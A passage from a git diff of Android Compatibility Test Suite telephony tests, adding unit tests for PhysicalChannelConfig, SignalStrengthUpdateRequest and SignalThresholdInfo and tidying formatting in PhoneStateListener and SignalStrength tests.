-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        assertTrue(mSignalStrength == null);
-
-        mHandler.post(() -> {
-            mListener = new PhoneStateListener() {
-                @Override
-                public void onSignalStrengthsChanged(SignalStrength signalStrength) {
-                    synchronized (mLock) {
-                        mSignalStrength = signalStrength;
-                        mLock.notify();
-                    }
-                }
-            };
-            try {
-                mTelephonyManager.listen(mListener,
-                    PhoneStateListener.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH);
-            } catch (SecurityException se) {
-                synchronized (mLock) {
-                    mSecurityExceptionThrown = true;
-                    mLock.notify();
-                }
-            }
-        });
-        synchronized (mLock) {
-            if (!mSecurityExceptionThrown) {
-                mLock.wait(WAIT_TIME);
-            }
-        }
-
-        assertThat(mSecurityExceptionThrown).isTrue();
-        assertTrue(mSignalStrength == null);
-    }
-    */
-
     @Test
     public void testOnSignalStrengthsChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -413,6 +365,54 @@
         mSignalStrength.getLevel();
     }
 
+    /**
+     * Due to the corresponding API is hidden in R and will be public in S, this test
+     * is commented and will be un-commented in Android S.
+     *
+     * Validate that SecurityException should be thrown when listen
+     * with LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH without LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH
+     * permission.
+     *
+    @Test
+    public void testOnAlwaysReportedSignalStrengthChangedWithoutPermission() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertTrue(mSignalStrength == null);
+
+        mHandler.post(() -> {
+            mListener = new PhoneStateListener() {
+                @Override
+                public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+                    synchronized (mLock) {
+                        mSignalStrength = signalStrength;
+                        mLock.notify();
+                    }
+                }
+            };
+            try {
+                mTelephonyManager.listen(mListener,
+                        PhoneStateListener.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH);
+            } catch (SecurityException se) {
+                synchronized (mLock) {
+                    mSecurityExceptionThrown = true;
+                    mLock.notify();
+                }
+            }
+        });
+        synchronized (mLock) {
+            if (!mSecurityExceptionThrown) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mSecurityExceptionThrown).isTrue();
+        assertTrue(mSignalStrength == null);
+    }
+     */
+
     @Test
     public void testOnMessageWaitingIndicatorChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -435,7 +435,7 @@
                     mListener, PhoneStateListener.LISTEN_MESSAGE_WAITING_INDICATOR);
         });
         synchronized (mLock) {
-            if (!mOnMessageWaitingIndicatorChangedCalled){
+            if (!mOnMessageWaitingIndicatorChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -502,7 +502,7 @@
                             PhoneStateListener.LISTEN_CALL_DISCONNECT_CAUSES));
         });
         synchronized (mLock) {
-            if (!mOnCallDisconnectCauseChangedCalled){
+            if (!mOnCallDisconnectCauseChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -533,7 +533,7 @@
                             PhoneStateListener.LISTEN_IMS_CALL_DISCONNECT_CAUSES));
         });
         synchronized (mLock) {
-            if (!mOnImsCallDisconnectCauseChangedCalled){
+            if (!mOnImsCallDisconnectCauseChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -564,7 +564,7 @@
                             PhoneStateListener.LISTEN_SRVCC_STATE_CHANGED));
         });
         synchronized (mLock) {
-            if (!mSrvccStateChangedCalled){
+            if (!mSrvccStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -597,7 +597,7 @@
                             PhoneStateListener.LISTEN_RADIO_POWER_STATE_CHANGED));
         });
         synchronized (mLock) {
-            if (!mOnRadioPowerStateChangedCalled){
+            if (!mOnRadioPowerStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -630,7 +630,7 @@
                             PhoneStateListener.LISTEN_VOICE_ACTIVATION_STATE));
         });
         synchronized (mLock) {
-            if (!mVoiceActivationStateChangedCalled){
+            if (!mVoiceActivationStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -666,7 +666,7 @@
                             PhoneStateListener.LISTEN_PRECISE_DATA_CONNECTION_STATE));
         });
         synchronized (mLock) {
-            if (!mOnPreciseDataConnectionStateChanged){
+            if (!mOnPreciseDataConnectionStateChanged) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -748,7 +748,7 @@
                     mListener, PhoneStateListener.LISTEN_CALL_FORWARDING_INDICATOR);
         });
         synchronized (mLock) {
-            if (!mOnCallForwardingIndicatorChangedCalled){
+            if (!mOnCallForwardingIndicatorChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -778,7 +778,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
         });
         synchronized (mLock) {
-            if (!mOnCellLocationChangedCalled){
+            if (!mOnCellLocationChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -807,7 +807,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CALL_STATE);
         });
         synchronized (mLock) {
-            if (!mOnCallStateChangedCalled){
+            if (!mOnCallStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -836,6 +836,7 @@
                         }
                     }
                 }
+
                 @Override
                 public void onDataConnectionStateChanged(int state, int networkType) {
                     synchronized (mLock) {
@@ -852,7 +853,7 @@
         });
         synchronized (mLock) {
             if (!mOnDataConnectionStateChangedCalled ||
-                    !mOnDataConnectionStateChangedWithNetworkTypeCalled){
+                    !mOnDataConnectionStateChangedWithNetworkTypeCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -870,7 +871,7 @@
         assertFalse(mOnDataActivityCalled);
 
         mHandler.post(() -> {
-            mListener =  new PhoneStateListener() {
+            mListener = new PhoneStateListener() {
                 @Override
                 public void onDataActivity(int direction) {
                     synchronized (mLock) {
@@ -882,7 +883,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_DATA_ACTIVITY);
         });
         synchronized (mLock) {
-            if (!mOnDataActivityCalled){
+            if (!mOnDataActivityCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -912,7 +913,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_INFO);
         });
         synchronized (mLock) {
-            if (!mOnCellInfoChangedCalled){
+            if (!mOnCellInfoChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -942,7 +943,7 @@
                     mListener, PhoneStateListener.LISTEN_USER_MOBILE_DATA_STATE);
         });
         synchronized (mLock) {
-            if (!mOnUserMobileDataStateChanged){
+            if (!mOnUserMobileDataStateChanged) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -967,7 +968,7 @@
             mListener = new PhoneStateListener() {
                 @Override
                 public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber,
-                        int subscriptionId) {
+                                                   int subscriptionId) {
                     synchronized (mLock) {
                         Log.i(TAG, "onOutgoingEmergencySms: emergencyNumber=" + emergencyNumber);
                         smsCallbackQueue.offer(Pair.create(emergencyNumber, subscriptionId));
@@ -978,7 +979,7 @@
                     (tm) -> tm.listen(mListener,
                             PhoneStateListener.LISTEN_OUTGOING_EMERGENCY_SMS));
             SmsManager.getDefault().sendTextMessage(
-                TEST_EMERGENCY_NUMBER, null, "testOutgoingSmsListenerCts", null, null);
+                    TEST_EMERGENCY_NUMBER, null, "testOutgoingSmsListenerCts", null, null);
         });
 
         try {
@@ -1019,7 +1020,7 @@
                     mListener, PhoneStateListener.LISTEN_ACTIVE_DATA_SUBSCRIPTION_ID_CHANGE);
         });
         synchronized (mLock) {
-            if (!mOnActiveDataSubscriptionIdChanged){
+            if (!mOnActiveDataSubscriptionIdChanged) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -1060,7 +1061,7 @@
         assertBarringInfoSane(mBarringInfo);
     }
 
-    private static final int[] sBarringServiceInfoTypes = new int[] {
+    private static final int[] sBarringServiceInfoTypes = new int[]{
             BarringInfo.BARRING_SERVICE_TYPE_CS_SERVICE,
             BarringInfo.BARRING_SERVICE_TYPE_PS_SERVICE,
             BarringInfo.BARRING_SERVICE_TYPE_CS_VOICE,
@@ -1138,10 +1139,11 @@
 
         assertFalse(mOnBarringInfoChangedCalled);
         mHandler.post(() -> {
-            mListener =  new PhoneStateListener() {
+            mListener = new PhoneStateListener() {
                 @Override
                 public void onRegistrationFailed(CellIdentity cid, String chosenPlmn,
-                        int domain, int causeCode, int additionalCauseCode) {
+                                                 int domain, int causeCode,
+                                                 int additionalCauseCode) {
                     synchronized (mLock) {
                         mOnRegistrationFailedCalled = true;
                         mLock.notify();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
new file mode 100644
index 0000000..eaa6b7d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PhysicalChannelConfigTest {
+
+    private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
+    private static final int BAND = 1;
+    private static final int CONNECTION_STATUS = PhysicalChannelConfig.CONNECTION_PRIMARY_SERVING;
+    private static final int CELL_BANDWIDTH = 12345;
+    private static final int CHANNEL_NUMBER = 1234;
+    private static final int DOWNLINK_FREQUENCY = 11100;
+    private static final int UPLINK_FREQUENCY = 11100;
+    private static final int FREQUENCY_RANGE = 1;
+    private static final int PHYSICAL_CELL_ID = 502;
+    private static final int PHYSICAL_INVALID_CELL_ID = 1008;
+    private static final int NETWORK_TYPE_NR = TelephonyManager.NETWORK_TYPE_NR;
+    private static final int NETWORK_TYPE_LTE = TelephonyManager.NETWORK_TYPE_LTE;
+    private static final int NETWORK_TYPE_UMTS = TelephonyManager.NETWORK_TYPE_UMTS;
+    private static final int NETWORK_TYPE_GSM = TelephonyManager.NETWORK_TYPE_GSM;
+
+
+    private PhysicalChannelConfig mPhysicalChannelConfig;
+
+    @Before
+    public void setUp() throws Exception {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_LTE)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setFrequencyRange(FREQUENCY_RANGE)
+                .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                .setUplinkChannelNumber(CHANNEL_NUMBER)
+                .setBand(BAND)
+                .build();
+    }
+
+    @Test
+    public void testInvalidPhysicalChannelConfig() {
+        try {
+            mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                    .setNetworkType(NETWORK_TYPE_LTE)
+                    .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+                    .setCellConnectionStatus(CONNECTION_STATUS)
+                    .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                    .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                    .setContextIds(CONTEXT_IDS)
+                    .setFrequencyRange(FREQUENCY_RANGE)
+                    .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                    .setUplinkChannelNumber(CHANNEL_NUMBER)
+                    .setBand(BAND)
+                    .build();
+            fail("Physical cell Id: 1008 is over limit");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @Test
+    public void testGetCellBandwidthDownlinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthDownlinkKhz());
+    }
+
+    @Test
+    public void testGetCellBandwidthUplinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthUplinkKhz());
+    }
+
+    @Test
+    public void testGetConnectionStatus() {
+        assertEquals(CONNECTION_STATUS, mPhysicalChannelConfig.getConnectionStatus());
+    }
+
+    @Test
+    public void testGetNetworkType() {
+        assertEquals(NETWORK_TYPE_LTE, mPhysicalChannelConfig.getNetworkType());
+    }
+
+    @Test
+    public void testGetPhysicalCellId() {
+        assertEquals(PHYSICAL_CELL_ID, mPhysicalChannelConfig.getPhysicalCellId());
+    }
+
+    @Test
+    public void testGetBand() {
+        assertEquals(BAND, mPhysicalChannelConfig.getBand());
+    }
+
+    @Test
+    public void testGetDownlinkChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getDownlinkChannelNumber());
+    }
+
+    @Test
+    public void testGetUpChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getUplinkChannelNumber());
+    }
+
+    @Test
+    public void testGetContextId() {
+        assertEquals(CONTEXT_IDS, mPhysicalChannelConfig.getContextIds());
+    }
+
+    @Test
+    public void testFrequencyRange() {
+        assertEquals(FREQUENCY_RANGE, mPhysicalChannelConfig.getFrequencyRange());
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromBand() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(AccessNetworkConstants.NgranBands.BAND_79)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_HIGH);
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromChannelNumber() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(100)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_LOW);
+    }
+
+    private void setupNrPhysicalChannelConfig() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(2220)
+                .setUplinkChannelNumber(2220)
+                .setBand(BAND)
+                .build();
+    }
+
+    @Test
+    public void testUplinkFrequencyKhz() {
+        setupNrPhysicalChannelConfig();
+
+        assertEquals(UPLINK_FREQUENCY, mPhysicalChannelConfig.getUplinkFrequencyKhz());
+    }
+
+    @Test
+    public void testDownlinkFrequencyKhz() {
+        setupNrPhysicalChannelConfig();
+
+        assertEquals(DOWNLINK_FREQUENCY, mPhysicalChannelConfig.getDownlinkFrequencyKhz());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
index 4cbe6ad..409a55a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -19,6 +19,7 @@
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -73,7 +74,7 @@
     }
 
     @Test
-    public void testSignalStrength() throws Throwable {
+    public void testSignalStrength() {
         if (!mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
@@ -91,7 +92,10 @@
         long curTime = SystemClock.elapsedRealtime();
         assertTrue("Invalid timestamp in SignalStrength: " + ss.getTimestampMillis(),
                 ss.getTimestampMillis() > 0 && ss.getTimestampMillis() <= curTime);
-        Log.d(TAG, "Timestamp of SignalStrength: " + Long.toString(ss.getTimestampMillis()));
+        Log.d(TAG, "Timestamp of SignalStrength: " + ss.getTimestampMillis());
+
+        SignalStrength copy = new SignalStrength(ss);
+        assertEquals(ss, copy);
 
         List<CellSignalStrength> signalStrengths = ss.getCellSignalStrengths();
 
@@ -175,9 +179,10 @@
             case TelephonyManager.NETWORK_TYPE_LTE: /* fall through */
             case TelephonyManager.NETWORK_TYPE_LTE_CA:
                 return CellSignalStrengthLte.class;
+            case TelephonyManager.NETWORK_TYPE_NR:
+                return CellSignalStrengthNr.class;
             case TelephonyManager.NETWORK_TYPE_IWLAN: /* fall through */
             case TelephonyManager.NETWORK_TYPE_IDEN: /* fall through */
-            case TelephonyManager.NETWORK_TYPE_NR: /* fall through */
             default:
                 return null;
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
new file mode 100644
index 0000000..0440f89
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collection;
+import java.util.List;
+
+public class SignalStrengthUpdateRequestTest {
+
+    private SignalThresholdInfo mRssiInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+            .setThresholds(new int[]{-109, -103, -97, -89})
+            .build();
+
+    private SignalThresholdInfo mRscpInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.UTRAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP)
+            .setThresholds(new int[]{-115, -105, -95, -85})
+            .build();
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testBuilderWithInvalidParam() {
+        // null Collection
+        validateBuilderWithInvalidParam(null);
+
+        // duplication of SignalMeasurementType in Collection
+        validateBuilderWithInvalidParam(List.of(mRssiInfo, mRssiInfo));
+    }
+
+    @Test
+    public void testBuilderWithValidParams() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request.isReportingRequestedWhileIdle());
+        assertEquals(infos, request.getSignalThresholdInfos());
+    }
+
+    @Test
+    public void testParcel() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(true).build();
+
+        Parcel p = Parcel.obtain();
+        request.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        SignalStrengthUpdateRequest newRequest =
+                SignalStrengthUpdateRequest.CREATOR.createFromParcel(p);
+        assertThat(newRequest).isEqualTo(request);
+    }
+
+    @Test
+    public void testEquals() {
+        Collection<SignalThresholdInfo> infos1 = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request1 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(false).build();
+
+        assertTrue(request1.equals(request1));
+
+        // Ordering does not matter
+        Collection<SignalThresholdInfo> infos2 = List.of(mRscpInfo, mRssiInfo);
+        SignalStrengthUpdateRequest request2 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos2).setReportingRequestedWhileIdle(false).build();
+        assertTrue(request1.equals(request2));
+
+        SignalStrengthUpdateRequest request3 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(true).build();
+        assertFalse(request1.equals(request3));
+
+        Collection<SignalThresholdInfo> infos4 = List.of(mRscpInfo);
+        SignalStrengthUpdateRequest request4 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos4).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request1.equals(request4));
+
+        // return false if the object is not SignalStrengthUpdateRequest
+        assertFalse(request1.equals("test"));
+    }
+
+    private void validateBuilderWithInvalidParam(Collection<SignalThresholdInfo> infos) {
+        try {
+            new SignalStrengthUpdateRequest.Builder()
+                    .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+    private static final String TAG = "SignalThresholdInfo";
+
+    // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+    // used to construct thresholds array during test.
+    private static final int[][] VALID_PARAMS = {
+            {AccessNetworkConstants.AccessNetworkType.GERAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+            {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.UTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+            {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.NGRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    -100},
+    };
+
+    // Map of SignalMeasurementType to invalid thresholds edge values.
+    // Each invalid value will be constructed with a thresholds array to test separately.
+    private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+            List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+            List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+            List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+            List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+            List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+    );
+
+    // Map of RAN to allowed SignalMeasurementType set.
+    // RAN/TYPE pair will be used to verify the validation of the combo
+    private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+            AccessNetworkConstants.AccessNetworkType.GERAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.CDMA2000,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.UTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+            AccessNetworkConstants.AccessNetworkType.EUTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+            AccessNetworkConstants.AccessNetworkType.NGRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+    );
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
